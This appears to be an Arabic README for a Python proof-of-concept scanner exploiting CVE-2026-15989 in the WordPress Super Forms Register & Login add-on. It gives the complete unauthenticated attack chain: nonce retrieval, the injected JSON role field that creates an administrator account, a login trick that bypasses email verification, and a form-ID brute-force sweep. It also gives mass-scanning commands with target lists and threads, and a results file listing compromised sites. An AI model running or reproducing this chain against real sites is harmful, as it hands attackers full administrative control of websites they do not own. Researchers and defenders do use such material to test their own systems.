
ماسح PoC بلغة Python للثغرة CVE-2026-15989، يستغل حقن الأدوار غير المصادق عليه في WordPress Super Forms لإنشاء حسابات مسؤول والتحقق من الوصول.
█████╗ ███╗ ██╗ ████████╗ ██╗ ██████╗ ██████╗ ██████╗ ████████╗
██╔══██╗ ████╗ ██║ ╚══██╔══╝ ██║ ██╔══██╗ ██╔═████╗ ██╔═████╗ ╚══██╔══╝
███████║ ██╔██╗ ██║ ██║ ██║ ██║ ██║ ██║██╔██║ ██║██╔██║ ██║
██╔══██║ ██║╚██╗██║ ██║ ██║ ██║ ██║ ████╔╝██║ ████╔╝██║ ██║
██║ ██║ ██║ ╚████║ ██║ ██║ ██████╔╝ ╚██████╔╝ ╚██████╔╝ ██║
╚═╝ ╚═╝ ╚═╝ ╚═══╝ ╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═════╝ ╚═╝
» E X P L O I T S «
🔥 اكتشاف تلقائي بدون بصمة · حمولات تراعي التحقق · بدون أي مصادقة · تصنيف صادق
| إضافة WordPress | Super Forms – Drag & Drop Form Builder (إضافة Register & Login) |
| الإصدار المتأثر | <= 6.3.316 |
| الإصدار المُرقَّع | 6.3.317 |
| المصادقة | ❌ غير مطلوبة — يكفي أي نموذج تسجيل منشور |
| CVSS | 9.8 CRITICAL |
role المُدرَج في القائمة البيضاء ← إنشاء مسؤولGET admin-ajax.php?action=super_create_nonce ──► _sfs_id session + sf_nonce
│
POST admin-ajax.php action=super_submit_form data=<JSON>
│
before_email_success_msg() (Register & Login add-on)
│
$other_userdata = array( ..., 'role', ... ) ◄── client key whitelisted
│
$data['role']['value'] ──► $userdata['role'] (register_user_role overwritten)
│
wp_insert_user() ──► 🔥 administrator account, zero authentication
تقوم الإضافة بنسخ
$data['role']['value']مباشرةً إلى مصفوفة بيانات المستخدم دون التحقق منها مقابلregister_user_roleالمُهيَّأ من المسؤول، ودون قائمة سماح ودون أي فحص للصلاحيات — حقل واحد مُحقَن"role": {"value":"administrator"}يحسم الأمر.
POST wp-login.php log / pwd / testcookie
│ + action=super_submit_form ◄── the magic field
│
check_user_login_status() ──► pending/blocked gate SKIPPED
│
GET /wp-admin/users.php
│
200 = administrator proven · 403 = subscriber (patched build)
لا تفرض الإضافة بوابة تنشيط البريد الإلكتروني / الإشراف إلا عندما لا يكون إجراء POST هو
super_submit_form— لذا فإن نفس إجراء النموذج الذي يسجّل المستخدم يفتح أيضًا تسجيل الدخول إليه، حتى قبل أي تحقق من البريد الإلكتروني.
discovery empty (REST · sitemap · links · ?page_id probe)
│
PHASE 1 — form-ID sweep 1..50, minimal payload, OWN SESSION PER ID
│ (shared sessions would invalidate each nonce)
│
'required fields' reject ──► PHASE 2 — REST markup fetch ──► full payload retry
│
every accepted candidate ──► login proof per id
│
contact form? ──► UNVERIFIED (never a false positive)
registration? ──► 👑 verified administrator
النماذج غير الخاصة بالتسجيل تُجيب أيضًا بـ
error:false، لذا فإن كل معرّف مقبول ليس سوى مرشّح حتى يتم إثبات بيانات الاعتماد عبر تسجيل دخول حقيقي.
# zero dependencies — pure Python 3 stdlib (rich is optional, for the console)
python3 cve-2026-15989_poc.py --list labs.txt --output results.txt
# tuned concurrency / timeout
python3 cve-2026-15989_poc.py --list labs.txt --threads 20 --timeout 15 -o results.txt
# FULL MODE: discovery + role injection + login proof + form-ID brute (1..50)
python3 cve-2026-15989_poc.py --list labs.txt --full --output results.txt
labs.txt — عنوان URL أساسي واحد لكل سطر:
http://localhost
http://192.168.56.101/lab-wp
https://10.0.0.5:8443/lab # self-signed TLS is handled automatically
# comments and blank lines are ignored
| الخيار | الوصف |
|---|---|
--list FILE | ملف الأهداف — عنوان URL واحد لكل سطر (مطلوب) |
--output, -o FILE | قائمة الإصابات — تُكتب مباشرةً الأهداف VULNERABLE فقط (بدون ANSI) |
--threads N | عدد عمال الأهداف المتزامنين (الافتراضي 10) |
--timeout N | مهلة المقبس لكل طلب بالثواني (الافتراضي 10) |
--full | تشغيل السلسلة كاملةً — يضيف آلية تخمين معرّف النموذج الاحتياطية (سيتم إنشاء حسابات على الأهداف الثغرة) |
| الحالة | المعنى |
|---|---|
VULNERABLE | تم إنشاء الحساب و إثبات وصول المسؤول إلى wp-admin (200) |
NOT-VULNERABLE | تسجيل الدخول ناجح لكن صفحات الإدارة 403 — تم تجاهل الدور ← إصدار مُرقَّع |
UNVERIFIED | تم قبول الإرسال لكن رُفض تسجيل الدخول (حساب مقفل/معلّق أو نموذج غير تسجيل) — لا يُبلَّغ عنه أبدًا كإيجابية كاذبة صامتة |
BLOCKED | تم رفض الإرسال (reCAPTCHA، CSRF، حقول مطلوبة، honeypot…) |
ERROR | هدف غير قابل للوصول / فشل DNS — يُبلَّغ عنه بالسبب الدقيق |
wp-json + احتياطي ?rest_route=) ← فهرس sitemap ← أكثر من 40 مسار تسجيل متعدد اللغات (/register، /kayit-ol، /registrieren…) ← فحص ?page_id=N؛ يعمل مع أي قالب ومنشئ صفحات ونمط روابط دائمةdata-validation (email، number، date، time، phone، IBAN، color، URL)super_create_nonce من nopriv مرتبط بجلسة _sfs_id؛ تحصل محاولات التخمين على جلستها الخاصة حتى لا تُبطل الـ nonces بعضها البعضVULNERABLE فقط عند إثبات الوصول إلى wp-admin؛ تُفصل الإصدارات المُرقَّعة عبر فحص 403؛ تظهر الحسابات المقفلة كـ UNVERIFIEDaction=super_submit_form، متجاوزًا بوابة التحقق من البريد الإلكتروني / الإشراف الخاصة بالإضافة{{ data.url }})، والأحرف التحكمية، والمضيفين بأسماء IDN/الشرطة التركية تُنقّى تلقائيًا--output الأهداف المؤكدة فقط، ويُضاف مباشرةً، دائمًا نص عادي (متوافق مع grep/parse)richrich اختياري للتحسين البصري)<= 6.3.316 مع تفعيل إضافة Register & Login ووجود
نموذج منشور واحد على الأقل (STANDARD) — لا يحتاج وضع FULL إلى أي نموذج قابل للاكتشاف على الإطلاقpip install